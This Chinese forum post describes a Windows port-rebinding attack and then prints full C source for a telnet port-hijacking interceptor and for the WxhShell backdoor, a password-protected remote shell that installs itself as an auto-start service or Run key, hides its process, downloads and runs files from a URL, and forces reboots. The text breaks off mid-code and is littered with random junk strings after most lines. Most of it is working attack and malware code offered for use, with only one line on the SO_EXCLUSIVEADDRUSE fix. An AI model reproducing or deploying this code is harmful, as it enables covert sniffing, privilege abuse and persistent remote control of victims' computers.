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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4<ER dP7"-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8:huWjh]M  
E IsA2 f  
  saddr.sin_family = AF_INET; pE^LQi  
oHxaa>C>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1mFc]1W  
$gJMF(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y xGIv8O]  
!MTm4Ls  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AZI%KM[  
pn{.oXomf  
  这意味着什么?意味着可以进行如下的攻击: $qP9EZ]JC  
s,]6Lri`\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nC_<pq^tr  
 vF]?i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,HUs MCXQ  
b3#c0GL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :>F:G%(DK  
w^A8ZT0^7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |jEKUTv,G  
P2 !~}{-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F2z^7n.S  
Mff_j0D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E@0w t^  
E{wVf_K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U1 1rj,7  
fR_)e:  
  #include OAOG&6xu8  
  #include f*NtnD=rJ  
  #include   
  #include    b ?B"u^b!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vTh-I&}:  
  int main() ~Xh(JK]  
  { TG{=~2  
  WORD wVersionRequested; Tk|0 scjE^  
  DWORD ret; MR#jI  
  WSADATA wsaData; D7sw;{ns  
  BOOL val; '=\]4?S  
  SOCKADDR_IN saddr; #U"\v7C{n  
  SOCKADDR_IN scaddr; }1:jM_H)k  
  int err; }x~|XbG  
  SOCKET s; <!5N=-  
  SOCKET sc; rYJt;/RtR}  
  int caddsize; jcXb@FE6  
  HANDLE mt; L7X._XBO[  
  DWORD tid;   TcauCL  
  wVersionRequested = MAKEWORD( 2, 2 ); Af5In9WB5  
  err = WSAStartup( wVersionRequested, &wsaData ); A!Xn^U*p  
  if ( err != 0 ) { y;;^o6Gnw  
  printf("error!WSAStartup failed!\n"); w{I60|C]*  
  return -1; ZH0 ~:  
  } ?mG ?N(t/h  
  saddr.sin_family = AF_INET; PM[6U#  
   e7]IEBbX2O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S8.nM}x  
rya4sxCh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s^L\hr  
  saddr.sin_port = htons(23); Sn7.KYS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wj8\~B=('  
  { ]r'b(R; S  
  printf("error!socket failed!\n"); 68;,hS*|6  
  return -1; &X}9D)\UJ  
  } ir \d8.  
  val = TRUE; 3j]La  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P)(Ly5$*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D;BFl(l  
  { kki]6_/n  
  printf("error!setsockopt failed!\n"); [MFV:Z  
  return -1; YjvqU /[3  
  } Vxo3RwmR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; */O6cF7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7QQ3IepP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cMC1|3  
q^(A6W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lJ}G"RTm  
  { sBwkHsDD  
  ret=GetLastError(); <ywxz1i  
  printf("error!bind failed!\n"); TD!QqLW  
  return -1; r}"T y  
  } xV}|G   
  listen(s,2); {3_M&$jN  
  while(1) @zsr.d6Q  
  { #/\FB'zC  
  caddsize = sizeof(scaddr); x*Z"~'DI  
  //接受连接请求 luat1#~J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BIw9@.99B-  
  if(sc!=INVALID_SOCKET) 6l:CDPhR  
  { \DeZY97p%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tnRq?  
  if(mt==NULL) Z|'tw^0e5  
  { e0v&wSi  
  printf("Thread Creat Failed!\n"); BCsW03sQ  
  break; F'pD_d9]e  
  } _$i9Tk  
  } EBK\.[  
  CloseHandle(mt); R0oP##]  
  } @>X."QbE  
  closesocket(s); &EA4`p  
  WSACleanup(); k3S**&i!CR  
  return 0; pg4M$;ED  
  }   FjkE^o>  
  DWORD WINAPI ClientThread(LPVOID lpParam) >"zSW?  
  { s49 AF  
  SOCKET ss = (SOCKET)lpParam; w y:USS?  
  SOCKET sc; pBK[j ([  
  unsigned char buf[4096]; f{* G%  
  SOCKADDR_IN saddr; mR8&9]g&  
  long num; # ?}WQP!  
  DWORD val; 3o"~_l$z  
  DWORD ret; R%7k<1d'`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -qid.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &S''fxGL  
  saddr.sin_family = AF_INET; Nm#KHA='Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Bk?MF6  
  saddr.sin_port = htons(23); -PEpy3dMY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9)l[$X  
  { SJy:5e?zk  
  printf("error!socket failed!\n"); D?X97jNm  
  return -1; ?B@iBOcu[  
  } =]Qu"nRB  
  val = 100; T3'dfe U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A3Ltk 2<  
  { ``>WFLWTn  
  ret = GetLastError(); Bz /NFNi[p  
  return -1; BE%#4c.b  
  } HbZ3QWP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (doFYF~w  
  { G>*s+  
  ret = GetLastError(); ywi Shvi8  
  return -1; RX7,z.9@'O  
  } OEq8gpqY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TyGXDU  
  { D{a{$P r  
  printf("error!socket connect failed!\n"); :tzCuK?e  
  closesocket(sc); hj0uv6t.c  
  closesocket(ss); a/>={mb Ki  
  return -1; |}'}TYX0:  
  } {,P&05iSi  
  while(1) i~ zL,/O8  
  { QsI$4:yl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +de.!oY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #_|b;cf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,+zLFQC0@  
  num = recv(ss,buf,4096,0); ZFz>" vt@  
  if(num>0) Bv3?WW  
  send(sc,buf,num,0); NpH)K:$#%  
  else if(num==0) QFDjsd4  
  break; *$(9,y\  
  num = recv(sc,buf,4096,0); qC`"<R=GX  
  if(num>0) 3ywBq9FGhp  
  send(ss,buf,num,0); E hd*  
  else if(num==0) X Uh)z  
  break; O6k[1C  
  } HZfcLDrO  
  closesocket(ss); YBHmd  
  closesocket(sc); K _O3DcQ  
  return 0 ; #l8CUg~Uj  
  } <<4G GO  
BXyZn0k  
N \A)P  
========================================================== 5vg@zH\z  
]7'Q2OU7  
下边附上一个代码,,WXhSHELL w7w$z _P  
I:AlM ?  
========================================================== NWX~@Rg  
uop_bJ  
#include "stdafx.h" I?l*GO+pz  
>$HMZbsE  
#include <stdio.h> a/`fJY6rR  
#include <string.h> 4.CLTy3W  
#include <windows.h> GD~3RnGQ{  
#include <winsock2.h> 7m@pdq5Ub  
#include <winsvc.h> "+Xwc+v^  
#include <urlmon.h> ad i5h  
s~M!yuH  
#pragma comment (lib, "Ws2_32.lib")  :jB(!XH  
#pragma comment (lib, "urlmon.lib") s+Ln>c'|o  
B>AIec\jG  
#define MAX_USER   100 // 最大客户端连接数 `^ F'af  
#define BUF_SOCK   200 // sock buffer >.J68 x  
#define KEY_BUFF   255 // 输入 buffer <[l2]"Q  
M*aE)D '  
#define REBOOT     0   // 重启 C+-~Gmrb(7  
#define SHUTDOWN   1   // 关机 H-7*)D  
lE=Q(QUr  
#define DEF_PORT   5000 // 监听端口 ]#S.L'  
\p [!@d^  
#define REG_LEN     16   // 注册表键长度 &e3z)h  
#define SVC_LEN     80   // NT服务名长度 oaRPYgh4  
KJcdX9x  
// 从dll定义API B'atwgI0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9r\8  !R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P#rwYPww\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q0DoR@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w?<:`  
&AOw(?2  
// wxhshell配置信息 P%B1dRa  
struct WSCFG { r`wL_>"{n  
  int ws_port;         // 监听端口 5\EHu8  
  char ws_passstr[REG_LEN]; // 口令 Y6^lKw  
  int ws_autoins;       // 安装标记, 1=yes 0=no (WN'wp  
  char ws_regname[REG_LEN]; // 注册表键名 >2>xr"  
  char ws_svcname[REG_LEN]; // 服务名 w&:h^u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >\(Ma3S   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p*NC nD*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *.voN[$~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gh i!4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B:+}^=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }u:^Mz  
dpE\eXoa,  
}; {&w%3  
}wj*^>*  
// default Wxhshell configuration )k29mqa`  
struct WSCFG wscfg={DEF_PORT, #;}IHAR  
    "xuhuanlingzhe", V/>SjUNq  
    1, v`x~O+  
    "Wxhshell", ^/Gjk  
    "Wxhshell", BFj@Z'7P  
            "WxhShell Service", Yg2z=&p-{"  
    "Wrsky Windows CmdShell Service", .B#Lt,m  
    "Please Input Your Password: ", rv|k8  
  1, "eh"' Z  
  "http://www.wrsky.com/wxhshell.exe", \+L_'*&8  
  "Wxhshell.exe" ?uQ|?rk  
    }; .$v]B xu  
a,&Kvh  
// 消息定义模块 ~LYKt0/W&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U|U/B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ): Q5u6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .9 nsW?  
char *msg_ws_ext="\n\rExit."; &~||<0m  
char *msg_ws_end="\n\rQuit."; >fs-_>1d  
char *msg_ws_boot="\n\rReboot..."; v`beql  
char *msg_ws_poff="\n\rShutdown..."; jnH44  
char *msg_ws_down="\n\rSave to "; ecf<(Vl}  
a-i#?hld  
char *msg_ws_err="\n\rErr!"; Z4h P  
char *msg_ws_ok="\n\rOK!"; HzH_5kVW  
Mt@K01MI%  
char ExeFile[MAX_PATH]; iVXR=A\er  
int nUser = 0; WMh'<'w N_  
HANDLE handles[MAX_USER]; -b)p6>G-C  
int OsIsNt; >+,1@R  
 _%i|*  
SERVICE_STATUS       serviceStatus; ] ^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D8[&}D4  
?ADk`ts~,}  
// 函数声明 GXJ3E"_.  
int Install(void); )S8q.h  
int Uninstall(void); >KGQ#hnH  
int DownloadFile(char *sURL, SOCKET wsh); 4Z]^v4vb  
int Boot(int flag); <w{W1*R9  
void HideProc(void); q. BqOa:  
int GetOsVer(void); yFJ(b%7  
int Wxhshell(SOCKET wsl); B#EF/\5  
void TalkWithClient(void *cs); t*.v!   
int CmdShell(SOCKET sock); du'$JtZo  
int StartFromService(void); 9R.tkc|K  
int StartWxhshell(LPSTR lpCmdLine); 9Cf^Q3)5o  
kQVl8KS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1{";u"q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <!DOCvd  
ax7 M  
// 数据结构和表定义 Z.<1,EKi=  
SERVICE_TABLE_ENTRY DispatchTable[] = ( 7Y :3  
{ TvI}yaCu/x  
{wscfg.ws_svcname, NTServiceMain}, QfwGf,0p  
{NULL, NULL} c%uhQ 62  
}; ' P-K}Y  
9iS3.LCfX  
// 自我安装 X8;03EW;  
int Install(void) unD8h=Z2  
{ wJ IJPYTK  
  char svExeFile[MAX_PATH]; ~xvQ?c ?-  
  HKEY key; %R&3v%$y*  
  strcpy(svExeFile,ExeFile); ZMx_J  
UK& E#i  
// 如果是win9x系统,修改注册表设为自启动 /!AdX0dx  
if(!OsIsNt) { b[RBp0]x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ch : 428  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %@pTEhpF  
  RegCloseKey(key); JmN;v|wF:c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eTrGFe!8w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J>Zd75;U  
  RegCloseKey(key); y)(SS8JR  
  return 0; A9tQb:  
    } A9lqVMp64  
  } rZpc"<U  
} /I6?t= ?<  
else { hk,Q=};  
?cg+RNI  
// 如果是NT以上系统,安装为系统服务 dWm[#,Q?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !4oYQB  
if (schSCManager!=0) D-,sF8{ i  
{ cteHuRd  
  SC_HANDLE schService = CreateService T<!`~#kM  
  ( )(DV~1r=  
  schSCManager, dHOz;4_  
  wscfg.ws_svcname, Ii[rM/sG  
  wscfg.ws_svcdisp, e,1Jxz4QH  
  SERVICE_ALL_ACCESS, GSpS8wWD }  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K h% x  
  SERVICE_AUTO_START, bk^ :6>{K  
  SERVICE_ERROR_NORMAL, ]]`+aF0  
  svExeFile, D 3Int0n  
  NULL, qRB%G<H  
  NULL, aG=Y 6j G  
  NULL, iZ_R oJ  
  NULL, 7 ic]q,  
  NULL 4 &t6  
  ); mX|AptND  
  if (schService!=0) EQ=Enw1[  
  { \=5CNe  
  CloseServiceHandle(schService); F7"Ihb^l  
  CloseServiceHandle(schSCManager); Gl1`Nx0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >Zmpsa+  
  strcat(svExeFile,wscfg.ws_svcname); fDbs3"H Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UdLC]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G.oaDGy  
  RegCloseKey(key); Wg}#{[4  
  return 0; eMh:T@SN  
    } #c!(97l6o  
  } KCCS7l/  
  CloseServiceHandle(schSCManager); D=dY4WwG  
} wy Le3  
} 0U$6TDtmE  
X.UIFcK^  
return 1; d3n TJX  
} xX"?3%y>  
4 6e;UUf!d  
// 自我卸载 q2/Vt0aYx  
int Uninstall(void) SULWPH5Pr  
{ ]pB~&0jg  
  HKEY key; C($`'~b  
wbr"z7}  
if(!OsIsNt) { E+7S:B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /H3,v8J@  
  RegDeleteValue(key,wscfg.ws_regname); 93'%aSDI%  
  RegCloseKey(key); h+*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hc[GpZcw,  
  RegDeleteValue(key,wscfg.ws_regname); ~i  &K,  
  RegCloseKey(key); VUNQ@{ST|1  
  return 0; uHf~KYL  
  } SH`"o  
} ".w*_1G7U  
} *`l>1)B>  
else { UT^t7MY#O  
<!w-op2@ir  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dri1A%  
if (schSCManager!=0) txL5' mK  
{ oY0*T9vv+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  |u$AzI  
  if (schService!=0) ueWG/`ig  
  { %[p[F~Z^Z  
  if(DeleteService(schService)!=0) { t*D[Q$v  
  CloseServiceHandle(schService); &.4lhfI+(Q  
  CloseServiceHandle(schSCManager); F^ Q  
  return 0; >ueJ+sgH  
  } *#2`b%qh\M  
  CloseServiceHandle(schService); Qy3e ,9nS  
  } q2hZ1o  
  CloseServiceHandle(schSCManager); x b_C1n  
} 4&$G;?#W2  
} :*oI"U*f  
A: @=?(lI3  
return 1; >?$Ze@  
} {) .=G  
PD/~@OsxU  
// 从指定url下载文件 I&(cdKY z  
int DownloadFile(char *sURL, SOCKET wsh) _nTjCN625  
{ H%sQVE7m  
  HRESULT hr; v4ueFEY  
char seps[]= "/"; liU=5 BL  
char *token; MRJdQCBV  
char *file; o#+!H!C.O  
char myURL[MAX_PATH]; |"@E"Za^  
char myFILE[MAX_PATH]; ;yUY|o  
<`N\FM^vo  
strcpy(myURL,sURL); @:c 1+  
  token=strtok(myURL,seps); I H:Hf v  
  while(token!=NULL) AN.`tv  
  { ^SjGNg^ 7D  
    file=token; [M;P:@  
  token=strtok(NULL,seps); Ot,sMRk'  
  } riBT5  
YTGup]d  
GetCurrentDirectory(MAX_PATH,myFILE); cAiIbh>c  
strcat(myFILE, "\\"); bMv9f J  
strcat(myFILE, file); L4[ bm[x  
  send(wsh,myFILE,strlen(myFILE),0); 4wBCs0NIm  
send(wsh,"...",3,0); `9wz:s QtP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MWB uMF  
  if(hr==S_OK) }$UuYO/i  
return 0; c?opVbJB\  
else +"SBt}1  
return 1; Az.Y-O<$\  
TVjY8L9'h  
} 0dgR;Dl(  
Kt^PL&A2  
// 系统电源模块 M!I:$DZt  
int Boot(int flag) fI BLJ53  
{ cJhf{{_oR  
  HANDLE hToken; lv\2vRYw-  
  TOKEN_PRIVILEGES tkp; !IGVN:E  
4 5Ql7~  
  if(OsIsNt) { {`3;Pd`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "?N`9J|j)~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @lj  
    tkp.PrivilegeCount = 1; Cw+ (,1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4 bJ3uIP#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I&cb5j]C  
if(flag==REBOOT) { (te \!$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %WO;WxG8^  
  return 0; YqDw*S{  
} 2>H\arEstR  
else { Dgkt-:S/T|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P,v}Au( UI  
  return 0; _QErQ^`  
} Np=*B_ @8  
  } U5"F1CaW~  
  else { @lmke>  
if(flag==REBOOT) { !W3Le$aL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -bj1y2)n  
  return 0; fqr}tvMr=T  
} cw^FOV*  
else { 0<s)xaN>Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [t6)M~&e:_  
  return 0; wo_FM `@  
} a;h:o>Do5  
} o%|1D'f^  
K]7@%cS  
return 1; |C(72t?K  
} "qDEI}  
qM9GW`CKA  
// win9x进程隐藏模块 s@ q54  
void HideProc(void) zcNV<tx  
{ (ncfR  
m?m,w$K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %r>vZ/>a  
  if ( hKernel != NULL ) @TH \hr]  
  { /vQ^>2X%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MDB}G '  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W5x]bl#  
    FreeLibrary(hKernel); UGN. ]#"#  
  } &R8zuD`#  
OE[/sv  
return; zO+nEsf^O  
} m83i6"!H  
=_UPZ]  
// 获取操作系统版本 )0%<ZVB  
int GetOsVer(void) V3m!dp]  
{ <e=0J8V8,i  
  OSVERSIONINFO winfo; wWm#[f],?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vx ,yz+yP  
  GetVersionEx(&winfo); $]T7Iwk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |fJ,+)_(  
  return 1; $Z(zO;k.  
  else r*3;gyG.,#  
  return 0; 2?"9NQvz  
} F(w>lWs;  
4s"HO/  
// 客户端句柄模块 SKS[Lf  
int Wxhshell(SOCKET wsl) F0|T%!FB>%  
{ '2 )d9_ w  
  SOCKET wsh; c^=:]^  
  struct sockaddr_in client; 1XZ&X]  
  DWORD myID; -p)HH@6a  
wHY;Y-(ZT  
  while(nUser<MAX_USER) e)iVX<qb  
{ u.arkp  
  int nSize=sizeof(client); OC [a?#R1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W35nnBU  
  if(wsh==INVALID_SOCKET) return 1; gr7W&2x7\  
Y#Z&$&n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d5i /:  
if(handles[nUser]==0) tL3(( W"  
  closesocket(wsh); U "}Kth  
else Z2`e*c-[E  
  nUser++; HN3 yA1<[V  
  } JRNyvG>j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0\mM^+fO  
<iMkHch  
  return 0; {<_}[} XY  
} F>}).qx  
tz)L`g/J~  
// 关闭 socket "2;UXX-H  
void CloseIt(SOCKET wsh) `\qU.m0(j  
{ ypsCyDQK`  
closesocket(wsh); MKH7d/x  
nUser--; '1mygplW  
ExitThread(0); &?9.Y,  
} @9L%`=]b^  
*$s)p>  
// 客户端请求句柄 eHjR/MMr_  
void TalkWithClient(void *cs) [&39Yv.k,7  
{ q3I,3?_  
p]>bN  
  SOCKET wsh=(SOCKET)cs; d82IEhZ#  
  char pwd[SVC_LEN]; nyDqR#t  
  char cmd[KEY_BUFF]; ~{N|("nB  
char chr[1]; l/1uP  
int i,j; v` B_xEl  
+I/P5OGRN  
  while (nUser < MAX_USER) { T @z$g  
&d*9#?9  
if(wscfg.ws_passstr) { k!%HcU%J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `S.;&%B\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qS7*.E~j|]  
  //ZeroMemory(pwd,KEY_BUFF); A]n !d}?  
      i=0; #{]=>n)j  
  while(i<SVC_LEN) { Vxw?"mhP  
!k[ zUti  
  // 设置超时 M 35}5+  
  fd_set FdRead; >DV0!'jW  
  struct timeval TimeOut; QF^An B  
  FD_ZERO(&FdRead); @ce4sSo  
  FD_SET(wsh,&FdRead); 0W>O,%z&P#  
  TimeOut.tv_sec=8; k"n#4o:  
  TimeOut.tv_usec=0; hQk mB|];5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ";zl6g"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pGOS'.K%t8  
2/bck)p=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U M#]olh  
  pwd=chr[0]; CZ0 {*K:  
  if(chr[0]==0xd || chr[0]==0xa) { 9 np<r82  
  pwd=0; a'A0CQ  
  break; 6)?TWr'Ke  
  } 8pk5[=3Z  
  i++; U?}Maf  
    } +wio:==  
'fgDe  
  // 如果是非法用户,关闭 socket ]f-e/8$`@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); } K Ou  
} WTd}) s  
A8A+ImwO"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uIba{9tM"P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RJ-CWt [LG  
w}E?FEe.  
while(1) { 1]kk  
a`{'u)@  
  ZeroMemory(cmd,KEY_BUFF); 0lBl5k e  
sG}9l1  
      // 自动支持客户端 telnet标准   O_:Q#  
  j=0; aNwDMd^+  
  while(j<KEY_BUFF) { $iB(N ZV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q&wMp{  
  cmd[j]=chr[0]; `SU;TN0  
  if(chr[0]==0xa || chr[0]==0xd) { AHLDURv  
  cmd[j]=0; !YoKKG~_0  
  break; 7eq;dNB@gq  
  } YvU#)M_h  
  j++; Oq.) 8E.  
    } E+>;tLw3j  
jALo;PDJ  
  // 下载文件 Nd0Wt4=  
  if(strstr(cmd,"http://")) { weDv[b5i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \Z~m6;  
  if(DownloadFile(cmd,wsh)) oW8[2$_N+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D2hvf ^g'*  
  else -~xd-9v?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R0+m7mx#E  
  } !7w-?1?D  
  else { H11Wb(6Wu  
!K@y B)9  
    switch(cmd[0]) { ^8\pJg_0  
  G(4k#jB  
  // 帮助 $M><K  
  case '?': { wgufk {:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y_nh~&  
    break; 7X.1QSuE  
  } Vt&I[osC  
  // 安装 *r_.o;6  
  case 'i': { Comu c  
    if(Install()) QoW3*1o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H1@"Yg8  
    else FJD*A`a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,CdI.kV>o2  
    break;  aCTVY1  
    } $~2A o[  
  // 卸载 E>[~"~x"pV  
  case 'r': { ~C[,P\,  
    if(Uninstall()) _,'UP>Si  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m1cyCD  
    else nQgn^z#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D +oo5  
    break; EuAa  
    } 6$z UFIk  
  // 显示 wxhshell 所在路径 <&NR3^Eq  
  case 'p': { XYn$yR\dj  
    char svExeFile[MAX_PATH]; gf!j|O;  
    strcpy(svExeFile,"\n\r"); K[9<a>D`  
      strcat(svExeFile,ExeFile);  {<i!Pm  
        send(wsh,svExeFile,strlen(svExeFile),0); }Jc^p  
    break; *7Mrng  
    } II2oV}7?  
  // 重启 ;S%wPXj&  
  case 'b': { ;uJVY)7a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \GkcK$Y  
    if(Boot(REBOOT)) 6D+9f{~r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @3G3l|~>  
    else { K>q,?x b  
    closesocket(wsh); $@<\$I2s  
    ExitThread(0); U-Iwda8v  
    } D/)xe:  
    break; _Ih~'Y Fd  
    } \ pq]q  
  // 关机 i.#s'm.9  
  case 'd': { IQ|~d08}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HS2)vd@)  
    if(Boot(SHUTDOWN)) )oNomsn  
